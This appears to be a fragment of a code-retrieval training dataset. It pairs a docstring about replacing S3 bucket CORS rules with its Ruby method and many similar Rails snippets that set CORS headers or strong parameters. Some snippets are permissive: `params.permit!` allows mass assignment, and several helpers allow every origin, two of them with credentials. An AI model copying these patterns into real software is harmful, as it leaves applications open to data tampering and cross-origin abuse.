"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] |
[
"0.69497335",
"0.6812623",
"0.6803639",
"0.6795365",
"0.67448795",
"0.67399913",
"0.6526815",
"0.6518771",
"0.64931697",
"0.6430388",
"0.6430388",
"0.6430388",
"0.63983387",
"0.6356042",
"0.63535863",
"0.63464934",
"0.63444513",
"0.6337208",
"0.6326454",
"0.6326454",
"0.6326454",
"0.63140553",
"0.6299814",
"0.62642586",
"0.626006",
"0.62578833",
"0.6236823",
"0.6227561",
"0.6221758",
"0.62200165",
"0.620879",
"0.61983657",
"0.6195055",
"0.6172993",
"0.6156856",
"0.61558664",
"0.61521494",
"0.6135789",
"0.6121145",
"0.61118174",
"0.60736513",
"0.6071645",
"0.60632104",
"0.60549796",
"0.6043906",
"0.6034662",
"0.60207325",
"0.6018568",
"0.6016575",
"0.60103434",
"0.60084206",
"0.600763",
"0.6007443",
"0.6003619",
"0.6003619",
"0.5995791",
"0.5993301",
"0.5993231",
"0.5984926",
"0.597122",
"0.5968121",
"0.5965808",
"0.59640145",
"0.59632224",
"0.59602356",
"0.59332967",
"0.5927556",
"0.5922805",
"0.5909745",
"0.5905083",
"0.5904304",
"0.5893434",
"0.58888215",
"0.58823985",
"0.58823985",
"0.58823985",
"0.5873434",
"0.58619875",
"0.58533794",
"0.5845531",
"0.58426666",
"0.58360124",
"0.583218",
"0.5828041",
"0.5827927",
"0.5816121",
"0.5814705",
"0.5812719",
"0.581121",
"0.5803423",
"0.5803423",
"0.57995003",
"0.5794207",
"0.5784923",
"0.5781365",
"0.5776385",
"0.5774859",
"0.57671493",
"0.5766998",
"0.57618684",
"0.5758038"
] |
0.0
|
-1
|
Replaces the CORS rules attached to this bucket. You can pass one or more rules as an array or a list. replace all exisitng rules with a single rule bucket.cors.set( :allowed_methods => %w(GET), :allowed_origins => %w( :max_age_seconds => 3600) If you pass an empty array, all of the rules will be removed from the bucket. these two lines are equivilent bucket.cors.clear bucket.cors.set([])
|
def set *rules
raise ArgumentError, 'expected one or more rules' if rules.empty?
if rules == [[]]
self.clear
else
rules = rule_hashes(rules)
client.put_bucket_cors(:bucket_name => bucket.name, :rules => rules)
end
nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_cors(allowed_methods, allowed_origins)\n @bucket_cors.put(\n cors_configuration: {\n cors_rules: [\n {\n allowed_methods: allowed_methods,\n allowed_origins: allowed_origins,\n allowed_headers: %w[*],\n max_age_seconds: 3600\n }\n ]\n }\n )\n true\n rescue Aws::Errors::ServiceError => e\n puts \"Couldn't set CORS rules for #{@bucket_cors.bucket.name}. Here's why: #{e.message}\"\n false\n end",
"def bucket_cors_rule_set?(\r\n s3_client,\r\n bucket_name,\r\n allowed_methods = %w[GET PUT POST DELETE HEAD],\r\n allowed_origins = %w[*],\r\n allowed_headers = nil,\r\n expose_headers = nil,\r\n max_age_seconds = nil\r\n)\r\n methods = []\r\n if allowed_methods.count.zero?\r\n puts 'Error: No CORS methods provided.'\r\n return false\r\n else\r\n allowed_methods.each do |method|\r\n case method.upcase\r\n when 'GET', 'PUT', 'POST', 'DELETE', 'HEAD'\r\n methods.append(method)\r\n else\r\n puts \"Error: '#{method}' is not an allowed CORS method.\"\r\n return false\r\n end\r\n end\r\n end\r\n s3_client.put_bucket_cors(\r\n bucket: bucket_name,\r\n cors_configuration: {\r\n cors_rules: [\r\n {\r\n allowed_headers: allowed_headers,\r\n allowed_methods: methods,\r\n allowed_origins: allowed_origins,\r\n expose_headers: expose_headers,\r\n max_age_seconds: max_age_seconds\r\n }\r\n ]\r\n }\r\n )\r\n return true\r\nrescue StandardError => e\r\n puts \"Error setting CORS methods: #{e.message}\"\r\n return false\r\nend",
"def delete_cors\n @bucket_cors.delete\n true\n rescue Aws::Errors::ServiceError => e\n puts \"Couldn't delete CORS rules for #{@bucket_cors.bucket.name}. Here's why: #{e.message}\"\n false\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def bucket_cors_rules(s3_client, bucket_name)\r\n response = s3_client.get_bucket_cors(bucket: bucket_name)\r\n response.cors_rules\r\nrescue StandardError => e\r\n puts \"Error getting CORS rules: #{e.message}\"\r\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def removed_cors\n @aws.cors.rules - (@local.cors || [])\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\r\n headers['Access-Control-Allow-Origin'] = '*'\r\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\r\n headers['Access-Control-Max-Age'] = \"1728000\"\r\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_allow_all\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def put_bucket_cors(bucket_name, cors)\n data = Fog::AWS::Storage.hash_to_cors(cors)\n\n headers = {}\n headers['Content-MD5'] = Base64.encode64(OpenSSL::Digest::MD5.digest(data)).strip\n headers['Content-Type'] = 'application/json'\n headers['Date'] = Fog::Time.now.to_date_header\n\n request({\n :body => data,\n :expects => 200,\n :headers => headers,\n :bucket_name => bucket_name,\n :method => 'PUT',\n :query => {'cors' => nil}\n })\n end",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST,GET,OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\t end",
"def cors_set_access_control_headers\nheaders['Access-Control-Allow-Origin'] = '*'\nheaders['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\nheaders['Access-Control-Max-Age'] = '1728000'\nend",
"def added_cors\n (@local.cors || []) - @aws.cors.rules\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n end",
"def cors_set_access_control_headers\n log_origin_access # TODO: Disable logging for GoLive. Log only requests for api-clients #41\n headers['Access-Control-Allow-Origin'] = allowed_client_origins\n headers['Access-Control-Allow-Methods'] = allowed_client_methods\n headers['Access-Control-Allow-Headers'] = allowed_headers\n headers['Access-Control-Max-Age'] = allowed_max_age\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Max-Age'] = \"1728000\"\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS, PATCH'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization' \n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\nend",
"def cors_set_access_control_headers\n\t\theaders['Access-Control-Allow-Origin'] = '*'\n\t\theaders['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n\t\theaders['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n\t\theaders['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n # headers['Access-Control-Allow-Origin'] = 'http://' + request.host\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = \"Overwrite, Destination, Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control, Content-Length, Accept, Accept-Charset, Accept-Encoding, Referer\";\n end",
"def cors_set_access_control_headers\n \t\theaders['Access-Control-Allow-Origin'] = '*'\n \t\theaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n \t \theaders['Access-Control-Allow-Headers'] = '*'\n \t\theaders['Access-Control-Request-Method'] = '*',\n\t\theaders['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token, Access-Token, locale, authorization'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def run_me\r\n bucket_name = 'doc-example-bucket'\r\n allowed_methods = %w[GET PUT POST DELETE]\r\n allowed_origins = %w[http://www.example.com]\r\n allowed_headers = %w[*]\r\n expose_headers = %w[x-amz-server-side-encryption x-amz-request-id x-amz-id-2]\r\n max_age_seconds = 3000\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n if bucket_cors_rule_set?(\r\n s3_client,\r\n bucket_name,\r\n allowed_methods,\r\n allowed_origins,\r\n allowed_headers,\r\n expose_headers,\r\n max_age_seconds\r\n )\r\n puts 'CORS rule set. Current rules:'\r\n puts bucket_cors_rules(s3_client, bucket_name)\r\n else\r\n puts 'CORS rule not set.'\r\n end\r\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*' \n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Content-Type'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization, X-CSRF-Token'\n end",
"def cors_set_access_control_headers\n \t\theaders['Access-Control-Allow-Origin'] = '*'\n\tend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def replace_all_rules(rules, request_options = {})\n forward_to_replicas = request_options[:forwardToReplicas] || request_options['forwardToReplicas'] || false\n batch_rules(rules, forward_to_replicas, true, request_options)\n end",
"def clear\n client.delete_bucket_cors(:bucket_name => bucket.name)\n nil\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = \"*\"\n headers['Access-Control-Request-Method'] = %w{GET POST OPTIONS}.join(\",\")\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Authorization, Content-Type'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Allow-Credentials'] = 'true'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Allow-Credentials'] = 'true'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'OPTIONS, POST, DELETE, GET, PUT'\n\t headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept'\n\t headers['Access-Control-Max-Age'] = '1728000'\n\tend",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Request-Method'] = %w(GET POST OPTIONS).join(',')\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Headers'] = \"Content-Type\"\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Request-Method'] = '*'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With auth_token X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n headers['Access-Control-Expose-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'GET'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'GET'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n #headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'GET, POST, PATCH, PUT, DELETE, OPTIONS, HEAD'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match'\n #headers['Access-Control-Max-Age'] = '86400'\n end",
"def append_cors_operation!(operations)\n cors_enabled_ops = operations.select(&:cors)\n return if cors_enabled_ops.none?\n operations << cors_operation(operations.first.path, (cors_enabled_ops.map(&:cors_method) << 'OPTIONS').sort)\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1000'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = '*'\n end",
"def set_cors_headers\n if request.headers[\"HTTP_ORIGIN\"]\n # better way check origin\n # if request.headers[\"HTTP_ORIGIN\"] && /^https?:\\/\\/(.*)\\.some\\.site\\.com$/i.match(request.headers[\"HTTP_ORIGIN\"])\n headers['Access-Control-Allow-Origin'] = request.headers[\"HTTP_ORIGIN\"]\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'GET, POST, PATCH, PUT, DELETE, OPTIONS, HEAD'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Max-Age'] = '86400'\n headers['Access-Control-Allow-Credentials'] = 'true'\n end\n end",
"def cors_set_access_control_headers\n \nheaders['Access-Control-Allow-Origin'] = '*'\n \nheaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n \nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n headers['Access-Control-Allow-Headers'] = \"X-Requested-With,Content-Type,Accept,Origin\"\n headers['Access-Control-Expose-Headers'] = \"Location\"\nend",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def replace_all_rules!(rules, request_options = {})\n res = replace_all_rules(rules, request_options)\n wait_task(res['taskID'], WAIT_TASK_DEFAULT_TIME_BEFORE_RETRY, request_options)\n res\n end",
"def replace &block\n @rules = []\n update(&block)\n end",
"def add_cors_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
